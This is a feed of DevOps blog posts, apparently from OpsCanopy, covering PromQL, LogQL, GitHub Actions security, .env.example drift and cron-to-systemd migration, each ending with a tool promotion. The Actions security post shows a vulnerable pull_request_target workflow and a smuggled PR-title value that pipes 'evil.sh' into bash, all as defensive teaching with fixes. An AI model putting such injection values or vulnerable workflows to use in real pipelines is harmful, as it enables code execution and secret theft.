Append a duration in square brackets and the selector becomes a range vector — every sample in that window, per series, not just the latest one.

http_requests_total{job="api"}[5m]

You can’t graph a range vector directly; it’s raw material. You hand it to a function that knows what to do with a window of samples. The classic example is rate:

rate(http_requests_total{job="api"}[5m])

rate looks at the counter’s samples over the last 5 minutes and returns the per-second average rate of increase. This is the single most common pattern in Prometheus, and it’s worth internalising why it exists: http_requests_total is a counter that only ever goes up (until a restart resets it), so its raw value is meaningless on a dashboard. The rate of change is what you actually care about. rate also transparently handles counter resets, which is why you should never compute rates by hand.

A short note on window sizing: the range ([5m]) should comfortably cover at least a few scrape intervals. Too short and you get noisy, gappy results; too long and you smooth away the spikes you were trying to catch.

Layer 3: functions

Functions transform vectors. The ones you’ll see constantly:

rate(...) — per-second average rate of a counter over a range.
irate(...) — instant rate from the last two samples; spikier, good for fast-moving graphs.
increase(...) — total increase over the range (essentially rate × seconds).
histogram_quantile(φ, ...) — estimates a quantile (e.g. p99) from histogram buckets.
rate(...[5m]) > 0 style comparisons — filtering, covered below.

So rate(http_requests_total{job="api", status=~"5.."}[5m]) reads, inside-out, as: take the 5xx request counter for the api job, over a 5-minute window, and give me the per-second error rate, per series.

Layer 4: aggregation

A selector with a job and a status label can still match dozens of series — one per instance, per pod, per status code. Aggregation operators collapse them.

sum by (job) (rate(http_requests_total{status=~"5.."}[5m]))

sum by (job) adds up the per-series rates, keeping only the job label and discarding the rest. The result is one error-rate line per job. The two clauses to know:

by (labels) — keep these labels, aggregate away everything else.
without (labels) — aggregate away these labels, keep everything else.

Other aggregators follow the same grammar: avg, max, min, count, topk, quantile. The mental model never changes — combine many series into fewer, grouped by the labels I name.

Putting it together

Now the intimidating query from the top decomposes cleanly. Read it from the inside out:

histogram_quantile(
  0.99,
  sum by (le, route) (
    rate(http_request_duration_seconds_bucket[5m])
  )
)

http_request_duration_seconds_bucket[5m] — the latency histogram buckets, over 5 minutes.
rate(...) — per-second rate of each bucket, so resets and scaling are handled.
sum by (le, route) (...) — add the rates across instances, keeping le (the bucket boundary, required by the next step) and route.
histogram_quantile(0.99, ...) — estimate the 99th-percentile latency from those buckets, per route.

In plain English: the p99 request latency per route over the last 5 minutes. One layer at a time, it’s not dense at all.

A few traps worth knowing

Aggregating before rate-ing. rate(sum(...)) is almost always a bug. Take the rate first, then sum — summing counters across resets gives nonsense. The correct shape is sum(rate(...)).
Dropping le. histogram_quantile needs the le label intact, so your by (...) clause must include it.
Comparisons filter, they don’t just colour. rate(...)[5m]) > 0 doesn’t return booleans — it drops every series where the condition is false. That’s how you build alert expressions.
Instant vs range mismatch. Passing an instant vector where a function wants a range vector (or vice versa) is the most common parse error. If a function complains, check your brackets.

Decode any query in seconds

The inside-out method works on every PromQL expression you’ll meet, but pulling apart a deeply nested production query by hand is still tedious — and easy to get subtly wrong under pressure. That’s exactly what the PromQL Explainer is for: paste any Prometheus query and get a plain-English, layer-by-layer breakdown of its selectors, ranges, functions, aggregations and comparisons. Everything runs client-side, so your queries never leave the browser.

Next time a dashboard panel or alert rule leaves you squinting, don’t guess at it.

Explain a PromQL query →

Originally published on OpsCanopy. Try it free, in your browser: PromQL Explainer.

LogQL vs PromQL: the same query in both languages

opscanopy — Sat, 13 Jun 2026 08:04:12 +0000

If you’ve written Prometheus queries, Grafana Loki’s LogQL looks reassuringly familiar — rate(...), sum by (...), [5m] range vectors, the same comparison operators. That familiarity is deliberate, and it’s genuinely useful: a lot of PromQL muscle memory transfers directly. But the two languages start from different raw material, and the moment you forget that, your translation breaks in ways that are hard to spot. PromQL queries a metrics database. LogQL queries log lines and turns them into metrics on the fly. Everything that maps cleanly, and everything that doesn’t, follows from that one difference.

The two halves of LogQL

Every LogQL query begins with a log selector and an optional pipeline — the part that has no PromQL equivalent because PromQL never touches raw logs:

{app="api", env="prod"} |= "panic" | logfmt | level="error"

That selects the api/prod stream, keeps lines containing panic, parses them as logfmt, then filters to level=error. The result is still a set of log lines. To get something you can graph or alert on — a number over time — you wrap it in a metric query:

sum by (app) (count_over_time({app="api", env="prod"} |= "panic" | logfmt | level="error" [5m]))

Only the outer half of that expression resembles PromQL. The inner {...} |= ... | logfmt | ... part is pure Loki, and it’s where most translation effort actually goes.

Where LogQL and PromQL line up

The aggregation layer is where the languages converge, and the correspondences are close to one-to-one.

A PromQL counter rate:

sum by (status) (rate(http_requests_total{job="api"}[5m]))

The LogQL shape that answers the same question from logs:

sum by (status) (rate({job="api"} | logfmt [5m]))

The aggregation operators (sum, avg, min, max, count, topk, quantile) and the by / without grouping clauses behave identically. Comparison operators (>, <, ==, !=) and binary arithmetic work the same way, which is why an alert threshold ports over almost verbatim:

# PromQL: more than 10 errors/sec
sum(rate(http_requests_total{status=~"5.."}[5m])) > 10

# LogQL: more than 10 error lines/sec
sum(rate({job="api"} | logfmt | status=~"5.." [5m])) > 10

Loki’s _over_time family also mirrors Prometheus’s range functions where the concept survives: count_over_time, rate, bytes_rate, avg_over_time, max_over_time, quantile_over_time. If you’ve used avg_over_time(metric[5m]) in PromQL, the unwrapped LogQL form reads the same once you’ve extracted a numeric value to operate on.

Where they diverge — and why a literal port fails

The traps cluster around the half of LogQL that PromQL doesn’t have.

rate means two different things. In PromQL, rate(counter[5m]) accounts for counter resets — it’s built for monotonically increasing series. In LogQL, rate({...}[5m]) is per-second line count, with no reset semantics, because log lines don’t reset. The keyword matches; the meaning doesn’t. If you reach for increase() expecting PromQL counter behaviour, there’s simply nothing to increase.

You must extract a value before you can do math on it. PromQL samples are already numbers. Loki lines are text, so any aggregation over a value (latency, bytes, a numeric field) needs a parser plus unwrap:

quantile_over_time(0.99, {job="api"} | logfmt | unwrap duration_seconds [5m]) by (route)

There is no PromQL counterpart to | logfmt, | json, | pattern, or | unwrap — they exist precisely because the input is unstructured. Translating from PromQL means inventing this extraction step; translating to PromQL means deleting it and assuming a metric already exists.

Selector syntax overlaps but isn’t interchangeable. Both use {label="value"} with =, !=, =~, !~. But a PromQL selector names a metric and matches series labels; a Loki stream selector names log streams and must match at least one indexed stream label. A line filter like |= "text" has no PromQL analogue at all — the closest PromQL gets is matching on a label value, never on free text inside a sample.

High-cardinality fields behave differently. In PromQL, grouping by a high-cardinality label is usually a metrics-design smell. In LogQL, extracted pipeline labels (from logfmt/json) are computed at query time and aren’t indexed, so by (user_id) is feasible in a way it rarely is in Prometheus — at a real cost in query throughput, but without the storage explosion. The mental model for what’s “expensive” doesn’t transfer.

A practical translation checklist

When you move a query between the two languages, walk these in order:

Identify the metric layer. Strip the PromQL query down to its aggregation (sum by (...) (rate(...))); that part ports almost as-is.
Reconstruct the input. In LogQL, replace the metric name with a {stream} selector plus the line filters and parser (| logfmt, | json) needed to get to the same data.
Add unwrap for value math. Any average, quantile, or sum over a number — not a line count — needs an extracted, unwrapped field.
Re-check rate semantics. Decide whether you mean per-second line count (Loki) or counter rate (Prometheus). They are not the same number.
Accept that some things won’t map. histogram_quantile over native Prometheus histograms, counter resets(), and recording-rule-backed series have no clean LogQL form — and free-text line filters have no PromQL form.

Translate it without the guesswork

Holding both dialects in your head at once is exactly the kind of context-switching that produces silent bugs — a rate that means the wrong thing, a missing unwrap, a selector that compiles but matches nothing. The LogQL ↔ PromQL Helper does the mechanical part for you: paste a query in either language, get the closest equivalent in the other, plus explicit notes on what mapped cleanly and what couldn’t. It runs entirely in your browser — your queries never leave the device — so you can sanity-check a translation before it lands in a dashboard or an alert rule.

Open the LogQL ↔ PromQL Helper →

Originally published on OpsCanopy. Try it free, in your browser: LogQL ↔ PromQL Helper.

The GitHub Actions security mistakes linters miss

opscanopy — Sat, 13 Jun 2026 08:02:03 +0000

A YAML linter will tell you when your workflow won’t parse. It won’t tell you when your workflow hands a fork’s pull request a write token, or runs an attacker-controlled branch name as shell code. Those bugs are syntactically perfect — they pass every schema check, run green on the first try, and quietly widen your attack surface until someone notices.

GitHub Actions is unusually exposed because workflows are code that runs on every push, often with secrets in scope and a token that can write to the repo. The mistakes below are the ones that turn a routine CI pipeline into a supply-chain incident. None of them are caught by actionlint’s syntax pass alone, and all five are common enough that they show up in real public repos every week.

1. `pull_request_target` checking out untrusted code

The pull_request_target trigger runs with the base repository’s secrets and a read/write token, but it checks out the target branch by default — which is what makes it useful for labelling PRs or posting comments from forks. The trap is checking out the PR’s head and then running it. That executes attacker-controlled code with your secrets in scope.

# BAD — runs fork code with repo secrets and a write token
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }} # untrusted!
      - run: npm install && npm run build              # arbitrary code

An attacker opens a PR whose npm install runs a malicious postinstall script, and that script can read secrets.* or exfiltrate the GITHUB_TOKEN. If you only need to inspect a PR, use pull_request (no secrets, read-only token) instead. If you genuinely need secrets — for example to post a status — split the work: build untrusted code in a pull_request job with no secrets, then act on its output in a separate, trusted workflow.

# FIXED — untrusted code runs without secrets
on: pull_request          # forked PRs get a read-only token, no secrets
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4   # checks out PR head safely, unprivileged
      - run: npm ci && npm run build

Why it matters: this is the single most-exploited Actions pattern. Treating fork PRs as untrusted input is the whole game.

2. Script injection through `${{ github.event.* }}`

Anything a user can type — a PR title, a branch name, an issue body, a commit message — is attacker-controlled. When you interpolate it directly into a run: block, GitHub substitutes the raw string into the shell before the shell runs, so a crafted value becomes executable code.

# BAD — PR title is spliced straight into the shell
- name: Greet
  run: echo "Building PR: ${{ github.event.pull_request.title }}"

A PR titled "; curl evil.sh | bash # turns that single echo into two commands. The fix is to pass the untrusted value through an environment variable. Variables set in env: are not interpolated by the runner — the shell receives them as data, and quoting them keeps them inert.

# FIXED — value arrives as data, never as code
- name: Greet
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building PR: $PR_TITLE"

Why it matters: it’s the easiest privilege escalation in CI and it needs no special trigger — any workflow that echoes user-supplied text is a candidate. The env: indirection costs two lines and closes the hole completely.

3. Third-party actions pinned to a tag

uses: some/action@v3 resolves a mutable tag. The owner — or anyone who compromises that account — can move v3 to point at new code, and your next run pulls it without you changing a thing. Tags are convenience aliases, not integrity guarantees.

# BAD — mutable reference, can change under you
- uses: tj-actions/changed-files@v44

Pin third-party actions to a full 40-character commit SHA. A SHA is immutable: the only way to change what runs is for you to bump it deliberately, which is exactly the review point you want. Keep the human-readable version in a trailing comment so updates stay legible, and let Dependabot bump the pins for you.

# FIXED — immutable, auditable pin
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 # v44.5.7

Why it matters: the March 2024 tj-actions/changed-files compromise — where a malicious commit was pushed behind existing tags and dumped secrets from thousands of repos — only affected workflows pinned to tags. SHA-pinned consumers were untouched.

4. Over-broad `GITHUB_TOKEN` permissions

If you never declare permissions:, the automatic GITHUB_TOKEN may default to broad read/write across the repo, depending on org and repo settings. That means a compromised step — say, a malicious dependency — can push commits, edit releases, or open pull requests using your own token.

# BAD — no permissions block, token inherits broad defaults
on: push
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

Set a read-only default at the top of the workflow, then grant write scopes only to the specific jobs that need them. Most CI jobs need nothing more than contents: read. A job that publishes a release or pushes a comment gets exactly that one scope and no more.

# FIXED — least privilege, scoped per job
on: push
permissions:
  contents: read            # workflow-wide default
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test
  release:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: write       # only this job can write
    steps:
      - uses: actions/checkout@v4
      - run: ./scripts/publish.sh

Why it matters: least privilege turns “a compromised step owns the repo” into “a compromised step can read code it could already see.” It’s the cheapest blast-radius reduction you can make.

5. `curl | bash` inside a step

Piping a remote script straight into a shell runs whatever that URL serves at the moment of the run, with no pin, no checksum, and no review. If the host is compromised, or DNS is hijacked, or the maintainer simply pushes a bad version, it executes on your runner with your token in scope.

# BAD — runs whatever the URL serves, unverified
- run: curl -sSL https://example.com/install.sh | bash

Pin the installer to a known version and verify its checksum before executing — or, better, use a vetted, SHA-pinned setup action that already does this. The point is to make “what code ran” a fact you can reconstruct after the fact.

# FIXED — download, verify, then run
- run: |
    curl -fsSL -o install.sh https://example.com/v1.2.3/install.sh
    echo "9b74c9897bac770ffc029102a200c5de  install.sh" | md5sum -c -
    bash install.sh

Why it matters: curl | bash is an unsigned, unversioned dependency you re-fetch on every run. Pinning and verifying turns a blind trust into an auditable one.

Catch these before they merge

Every one of these passes a YAML schema check, which is why a syntax linter sails right past them. They’re reachability and trust problems, not parse problems — and they’re exactly what review is supposed to catch but rarely does at a glance.

The GitHub Actions Validator checks all five, client-side, the moment you paste a workflow: it flags pull_request_target checkouts of untrusted refs, ${{ }} interpolation in run: steps, unpinned third-party actions, missing or over-broad permissions:, and curl | bash invocations — alongside the ordinary YAML errors. Nothing uploads; your workflow never leaves the browser.

If you’ve ever shipped a workflow and hoped it was safe, this is the step that makes sure.

Try the GitHub Actions Validator →

Originally published on OpsCanopy. Try it free, in your browser: GitHub Actions Validator.

Stop shipping a stale .env.example

opscanopy — Sat, 13 Jun 2026 07:31:42 +0000

A .env.example is the one file in your repo that nobody runs, nobody tests, and everybody trusts. It’s the contract a new teammate reads on day one to answer the only question that matters: which environment variables do I need to set before this thing boots? When that file is right, onboarding is a five-minute copy-and-fill. When it’s wrong, you get the most demoralising kind of bug — the app crashes on startup with undefined is not a function, or worse, runs happily with a feature silently disabled because a flag defaulted to off.

The problem is that .env.example is documentation, and documentation drifts. Code that reads process.env.STRIPE_WEBHOOK_SECRET ships in a feature branch. The example file doesn’t get the new key because adding it isn’t part of “make the feature work” — it’s part of “be kind to the next person,” and that step is invisible until someone hits it. Multiply that across a year of merges and the example file becomes a museum of variables you used to need, missing half the ones you actually do.

How drift actually happens

Drift is never a single dramatic event. It’s the accumulation of small, reasonable omissions:

A new integration adds SENTRY_DSN and SENTRY_ENVIRONMENT. The PR author has them in their local .env, so the app works for them — and the example file never learns about them.
A feature gets ripped out. The code referencing LEGACY_BILLING_URL is deleted, but the key lingers in .env.example forever, so newcomers dutifully fill in a value that does nothing.
A variable gets renamed from DB_URL to DATABASE_URL in code, but the example still advertises the old name. Now the file is actively misleading.
A key is read in only one rarely-touched worker, so it never surfaces in casual testing — until that worker is deployed to a fresh environment with no value set.

None of these trip your linter, your type checker, or your tests. The example file isn’t part of the build graph, so nothing tells you it’s out of sync. The only feedback loop is a human getting burned.

The two failure modes

There are exactly two ways the example file can be wrong, and they fail in opposite directions:

Missing keys are variables your code reads that the example doesn’t mention. These are the dangerous ones. A missing key means a fresh checkout boots into an undefined state — a crash if you’re lucky, a silent misconfiguration if you’re not.

Unused keys are variables the example advertises that no code reads anymore. These are merely wasteful: they make the file longer, they make people provision secrets they don’t need, and they erode trust in the file as a source of truth. If three keys turn out to be dead, why would you believe the other twenty?

A healthy example file has neither. Every variable the code reads appears in the example, and every variable in the example is actually read somewhere.

What “reads a variable” looks like across languages

Detecting drift means parsing two things: the set of variables your code references, and the set of keys your example declares. The reference side is the tricky half because every ecosystem spells it differently:

// Node.js — the classic
const key = process.env.STRIPE_SECRET_KEY;
const { DATABASE_URL, REDIS_URL } = process.env;

// Vite / browser builds
const api = import.meta.env.VITE_API_BASE;

# Python — os.environ and os.getenv
import os
secret = os.environ["DJANGO_SECRET_KEY"]
debug = os.getenv("DEBUG", "false")

// Go — os.Getenv and os.LookupEnv
addr := os.Getenv("LISTEN_ADDR")
token, ok := os.LookupEnv("GITHUB_TOKEN")

# Shell — direct expansion
: "${WEBHOOK_URL:?must be set}"
echo "$DEPLOY_ENV"

The example side is comparatively uniform — a list of KEY=value lines, often with comments and blank sections:

# .env.example
# --- Core ---
DATABASE_URL=postgres://localhost:5432/app
REDIS_URL=redis://localhost:6379

# --- Payments ---
STRIPE_SECRET_KEY=
# STRIPE_WEBHOOK_SECRET is set in code but missing here ↓

Set-subtract the two and the drift falls right out. Keys referenced in code but absent from the example are missing. Keys present in the example but referenced nowhere are unused. Everything in the intersection is fine.

Why a quick diff beats a `grep`

You can absolutely cobble this together with grep -rhoE 'process\.env\.[A-Z_]+' piped through sort -u and compared against cut -d= -f1 .env.example. People do, and it half-works. The trouble is the edge cases that a one-off regex always misses:

Destructured access (const { FOO } = process.env) that the naive pattern doesn’t catch.
Commented-out keys in the example that shouldn’t count as “declared.”
Quoted values, export prefixes, and inline comments that throw off a dumb cut.
Multiple frameworks in one repo (process.env and import.meta.env and os.getenv), each needing a different pattern.

By the time you’ve handled all of those, your “quick” shell pipeline is a brittle script nobody wants to maintain. A purpose-built checker handles the access patterns and the example-file quirks consistently, and it does it without you pasting secrets into a remote service.

Keeping the file honest

Detection is the first step; keeping drift from coming back is the second. A few habits help:

Make the example the source of truth. Some teams load .env.example at startup in development and warn on any key in code that isn’t declared there. The file stops being optional.
Check it in review. Treat a new process.env.X without a matching example line the same way you’d treat a new public function without a doc comment.
Prune on delete. When you remove a feature, search the example for its keys too. Dead keys are easy to leave behind.
Run the diff before you open the PR. Catching drift takes seconds and saves the next person an afternoon.

Catch it before you commit

The fastest way to know your example file is honest is to diff it against your actual code. Env Example Checker does exactly that in the browser: paste your source and your .env.example, and it reports the variables your code uses but the example is missing, plus the keys the example declares that nothing reads. It runs entirely client-side — your code and secrets never leave the page — so you can run it on a private repo without a second thought.

Before your next pull request, give the next developer a .env.example they can actually trust.

Check your .env.example for drift →

Originally published on OpsCanopy. Try it free, in your browser: Env Example Checker.

Migrating from cron to systemd timers

opscanopy — Sat, 13 Jun 2026 07:27:57 +0000

Cron has run the world’s scheduled jobs for forty years, and on most servers it still works fine. But the moment a job needs structured logging, a controlled environment, dependency ordering, or a way to catch up after the machine was off, the cron model starts to creak. That’s where systemd timers come in — and if your distribution already runs systemd (Debian, Ubuntu, RHEL, Fedora, Arch, SUSE all do), you have a more capable scheduler sitting unused.

This post walks through what actually changes when you migrate, with real units you can adapt.

Why bother moving off cron

Cron is a single line. That brevity is its appeal and its ceiling:

Logging. A cron job’s output goes wherever you redirect it, and if you forget, it’s emailed to a mailbox nobody reads. A systemd service writes to the journal automatically — journalctl -u myjob.service shows you every run, with timestamps and exit codes.
Environment. Cron runs with a deliberately minimal PATH and almost no environment, which is the classic “works in my shell, fails in cron” trap. A service unit declares its environment explicitly.
Missed runs. If the host is asleep or powered off at the scheduled minute, cron simply skips the job. A timer with Persistent=true runs it as soon as the machine is back.
Overlap and resources. systemd won’t start a second copy of a job while the first is still running, and you can attach CPUQuota=, MemoryMax=, and other resource controls to a unit.

You don’t need to migrate everything. But for jobs where a silent failure costs you, timers are worth the two files they require.

The two-file model

A cron line does scheduling and execution in one place. systemd splits this into a service (what to run) and a timer (when to run it). They share a base name.

Take this crontab entry — run a backup script every day at 02:30:

30 2 * * * /usr/local/bin/backup.sh

That becomes two units in /etc/systemd/system/.

The service, backup.service:

[Unit]
Description=Nightly backup
Wants=network-online.target
After=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup.sh

The timer, backup.timer:

[Unit]
Description=Run nightly backup at 02:30

[Timer]
OnCalendar=*-*-* 02:30:00
Persistent=true

[Install]
WantedBy=timers.target

Type=oneshot tells systemd the job is expected to run, finish, and exit — the right type for almost every cron-style task. The timer’s [Install] section is what makes systemctl enable work; without WantedBy=timers.target, the timer won’t arm at boot.

Enable and start it:

sudo systemctl daemon-reload
sudo systemctl enable --now backup.timer

Note you enable the timer, not the service. The timer pulls in the service when it fires.

Translating the schedule: OnCalendar

The hardest part of the migration is the schedule field, because systemd uses OnCalendar= rather than the five cron fields. The format is DOW YYYY-MM-DD HH:MM:SS, and it’s genuinely more readable once you learn it. Some common mappings:

# cron                        # OnCalendar
*/15 * * * *                  *-*-* *:0/15:00      (every 15 minutes)
0 * * * *                     *-*-* *:00:00        (hourly, on the hour)
30 2 * * *                    *-*-* 02:30:00       (daily at 02:30)
0 4 * * 1                     Mon *-*-* 04:00:00   (Mondays at 04:00)
0 0 1 * *                     *-*-01 00:00:00      (1st of the month)
0 9 * * 1-5                   Mon..Fri *-*-* 09:00:00  (weekdays at 09:00)

There are also convenient shorthands — hourly, daily, weekly, monthly — so OnCalendar=daily is equivalent to midnight every day. The single most useful command during migration is systemd-analyze calendar, which parses an expression and shows you the next firing times:

$ systemd-analyze calendar --iterations=3 'Mon..Fri *-*-* 09:00:00'
  Original form: Mon..Fri *-*-* 09:00:00
Normalized form: Mon..Fri *-*-* 09:00:00
    Next elapse: Mon 2026-06-08 09:00:00 UTC
       From now: 4h 12min left
       (next 3)  Tue 2026-06-09 09:00:00 UTC
                 Wed 2026-06-10 09:00:00 UTC

If that output matches what your cron line did, the schedule is correct. If it doesn’t, you’ve caught the bug before it shipped.

The gotchas that actually bite

Timezone. Cron uses the system local time. systemd timers do too by default, but OnCalendar is evaluated in the timer’s timezone, which can surprise you on servers set to UTC. Pin it explicitly with OnCalendar=Mon *-*-* 04:00:00 America/New_York if local time matters, and remember that daylight-saving transitions can skip or double a run.

Thundering herd. Cron fires 0 * * * * jobs at exactly :00 across your whole fleet. Add RandomizedDelaySec= to spread the load:

[Timer]
OnCalendar=hourly
RandomizedDelaySec=300
Persistent=true

That jitters each run by up to five minutes — invaluable when a hundred hosts hit the same API.

Environment and working directory. Cron’s sparse environment trips people up; so does assuming a working directory. Be explicit in the service:

[Service]
Type=oneshot
WorkingDirectory=/opt/app
Environment=PATH=/usr/local/bin:/usr/bin:/bin
EnvironmentFile=-/etc/app/env
ExecStart=/opt/app/run.sh

The leading - on EnvironmentFile means “don’t fail if the file is missing,” mirroring cron’s forgiving behavior.

Per-user jobs. A user crontab maps to a user unit. Drop the files in ~/.config/systemd/user/, enable with systemctl --user enable --now myjob.timer, and run loginctl enable-linger $USER so the timer survives logout.

Verifying the migration

After enabling, confirm the timer is armed and inspect its history:

systemctl list-timers --all          # see next/last run for every timer
journalctl -u backup.service --since today   # read the job's output
sudo systemctl start backup.service  # trigger a manual run to test now

systemctl start backup.service runs the job immediately, independent of the schedule — the cleanest way to confirm the service half works before trusting the timer.

Don’t hand-translate every field

The mechanical part — turning five cron fields into an OnCalendar line and scaffolding the .timer/.service pair — is exactly the kind of thing that’s easy to get subtly wrong by hand, especially with step values, ranges, and day-of-week edge cases. Our Cron to systemd Converter does it in the browser: paste a crontab line, get a ready-to-edit timer and service unit with the correct OnCalendar expression and migration notes, with nothing uploaded anywhere.

Convert your crontab to systemd timers →

Originally published on OpsCanopy. Try it free, in your browser: Cron → systemd Converter.

Reading cron expressions

opscanopy — Sat, 13 Jun 2026 07:24:58 +0000

Almost everyone who runs a backend has stared at a line like */15 9-17 * * 1-5 and half-remembered what it does. Cron’s syntax is compact, which is its great virtue and its great trap: five tiny fields encode a recurring schedule, and a single misplaced character can turn “every weekday afternoon” into “every minute, forever.” This guide reads a cron expression the way the daemon does — field by field — so the next time you meet one you can decode it on sight.

The five fields

A standard cron expression is five whitespace-separated fields, always in this order:

┌───────────── minute        (0–59)
│ ┌─────────── hour          (0–23)
│ │ ┌───────── day of month  (1–31)
│ │ │ ┌─────── month         (1–12 or JAN–DEC)
│ │ │ │ ┌───── day of week   (0–6, Sun=0; 7 also = Sun)
│ │ │ │ │
* * * * *

The job runs at every minute where all the time fields match the current moment. A field of * means “every value,” so the canonical * * * * * fires once a minute. Read left to right and the most common schedules fall out quickly:

0 * * * *      at minute 0 of every hour          → hourly, on the hour
30 2 * * *      at 02:30 every day                 → a nightly batch job
0 0 1 * *      at 00:00 on day 1 of every month    → monthly rollover
0 9 * * 1      at 09:00 every Monday               → start-of-week report

Note that seconds are not part of standard Unix cron. Some implementations (Quartz, many Go and Node libraries, Kubernetes is the notable exception that stays at five) prepend a sixth seconds field. If a six-field expression behaves oddly in plain crontab, that extra field is usually why.

Ranges, steps and lists

Three operators do most of the heavy lifting, and they compose within a single field:

Range a-b — an inclusive span. 9-17 in the hour field means hours 9 through 17.
Step */n or a-b/n — every nth value. */15 in the minute field means 0, 15, 30, 45. 9-17/2 means 9, 11, 13, 15, 17.
List a,b,c — an explicit set. 1,15 in the day-of-month field means the 1st and the 15th.

Put together, the expression from the opening paragraph decodes cleanly:

*/15 9-17 * * 1-5
 │    │   │ │  └── Monday through Friday
 │    │   │ └───── every month
 │    │   └─────── every day of the month
 │    └─────────── hours 9 through 17 (9 AM–5 PM)
 └──────────────── every 15th minute (0, 15, 30, 45)

So: every 15 minutes, between 9 AM and 5 PM, Monday through Friday. A reasonable cadence for a sync job that should rest overnight and on weekends. The danger is how little this differs from * 9-17 * * 1-5, which drops the step and fires every minute in that window — 60× the load. The character that separates a tidy schedule from an accidental denial-of-service is two characters wide.

The day-of-month / day-of-week trap

The single most surprising rule in cron is how the two “day” fields combine. Intuition says they’re ANDed like every other pair of fields. They are not. When both day-of-month and day-of-week are restricted (neither is *), cron treats them as an OR: the job runs if either matches.

0 0 1,15 * 5    midnight on the 1st, on the 15th, OR on any Friday

That expression does not mean “the 1st or 15th, but only if it’s a Friday.” It means three separate triggers. If you genuinely need an AND — say, “the first Monday of the month” — vanilla cron can’t express it directly; you guard it in the job itself ([ "$(date +\%d)" -le 07 ] || exit 0) or reach for an extension like Quartz’s # operator (MON#1). This OR rule is responsible for a large share of “why did this fire twice?” incidents.

The @macros

Most crons accept a handful of named shortcuts that stand in for an entire five-field expression. They read better and remove a class of typos:

@hourly    →  0 * * * *
@daily     →  0 0 * * *   (alias: @midnight)
@weekly    →  0 0 * * 0
@monthly   →  0 0 1 * *
@yearly    →  0 0 1 1 *   (alias: @annually)

There’s also @reboot, which is special: it runs once when cron starts up, not on any clock schedule. Useful for warming a cache after a restart, useless for anything time-of-day related — and a frequent source of “my daily job never ran” reports when someone reaches for it by mistake.

Reading the gotchas

A few more rules separate people who think they read cron from people who actually do:

Time zones. Classic cron runs in the system local time zone, so daylight-saving transitions can skip or repeat a job. A 02:30 job runs zero times on the spring-forward night and twice on fall-back. Systems that matter increasingly pin schedules to UTC for exactly this reason.
Day-of-week numbering. Sunday is 0, and 7 is also accepted as Sunday on most implementations — but not all. Prefer the three-letter names (SUN, MON, …) when you can; they’re unambiguous.
*/n doesn’t wrap. */40 in the minute field fires at minute 0 and 40, then jumps to 0 of the next hour. It is not “every 40 minutes” — the count restarts each hour, so the real gap between the :40 and the next :00 is only 20 minutes.

None of these are exotic. They’re the everyday edges that make a schedule fire at a time you didn’t intend, and none of them are visible from staring at the five fields alone.

Verify before you ship

The honest way to read a cron expression is to not trust your reading of it. Decode it into plain English, then look at the actual timestamps it will produce over the next several runs — that’s where the */40 wrap, the DST gap, and the day-field OR reveal themselves immediately.

The Cron Expression Tester does exactly that in your browser: paste any expression — ranges, steps, lists, @macros and all — and get a plain-English description alongside the next run times, with nothing uploaded anywhere. It turns “I think this is every weekday afternoon” into “here are the next ten times it fires,” which is the only reading that counts.

Try the Cron Expression Tester →

Originally published on OpsCanopy. Try it free, in your browser: Cron Expression Tester.

DEV Community: opscanopy

6 years of frontend, then I jumped to DevOps. The roadmap I'd actually follow in 2026

Why a frontend dev is weirdly well-suited for this

The stuff I wasted time on (so you don't have to)

The order that actually worked

How long does this really take?

The mindset shift that mattered most

What I'd tell my Friday-night self

Why Your GitHub Actions Workflow Didn't Trigger: branches, tags & paths Filters Explained

1. The workflow file isn't on the target branch

2. The branch filter doesn't match the ref

3. The AND-semantics of branches + paths

4. paths with no branches companion still needs a real ref

5. paths-ignore and the diff that's too big

6. pull_request, forks, and pull_request_target

A copy-paste filter cheat-sheet

Stop guessing — replay your event

Why Your GitHub Actions "if" Condition Always Runs (and How to Fix It

The footgun: literal text outside ${{ }} is always truthy

The implicit success() that vanishes when you add an if:

success() vs always() vs failure() vs cancelled()

Coercion surprises: ==, strings, and case-insensitivity

contains and startsWith aren't the same as ==

Test your if: before you push

One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner

The same suppression, four ways

What maps cleanly

What is lossy

Do it once, emit four

One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner

The same suppression, four ways

What maps cleanly

What is lossy

Do it once, emit four

Writing robust regular expressions for log lines

Start from the structure, not the example

Anchor whenever you can

Tame greediness with negated classes and lazy quantifiers

Escape literal metacharacters

Make optional fields actually optional

Prefer named groups, and know your flags

Test against the lines that break things

How to read a PromQL query

The four layers

Layer 1: the selector

Layer 2: the range

Layer 3: functions

Layer 4: aggregation

Putting it together

A few traps worth knowing

Decode any query in seconds

LogQL vs PromQL: the same query in both languages

The two halves of LogQL

Where LogQL and PromQL line up

Where they diverge — and why a literal port fails

A practical translation checklist

Translate it without the guesswork

The GitHub Actions security mistakes linters miss

1. pull_request_target checking out untrusted code

2. Script injection through ${{ github.event.* }}

3. Third-party actions pinned to a tag

4. Over-broad GITHUB_TOKEN permissions

5. curl | bash inside a step

Catch these before they merge

Stop shipping a stale .env.example

How drift actually happens

The two failure modes

What “reads a variable” looks like across languages

Why a quick diff beats a grep

Keeping the file honest

Catch it before you commit

Migrating from cron to systemd timers

Why bother moving off cron

The two-file model

Translating the schedule: OnCalendar

The gotchas that actually bite

Verifying the migration

Don’t hand-translate every field

Reading cron expressions

The five fields

3. The AND-semantics of `branches` + `paths`

4. `paths` with no `branches` companion still needs a real ref

5. `paths-ignore` and the diff that's too big

6. `pull_request`, forks, and `pull_request_target`

The footgun: literal text outside `${{ }}` is always truthy

The implicit `success()` that vanishes when you add an `if:`

`success()` vs `always()` vs `failure()` vs `cancelled()`

Coercion surprises: `==`, strings, and case-insensitivity

`contains` and `startsWith` aren't the same as `==`

Test your `if:` before you push

1. `pull_request_target` checking out untrusted code

2. Script injection through `${{ github.event.* }}`

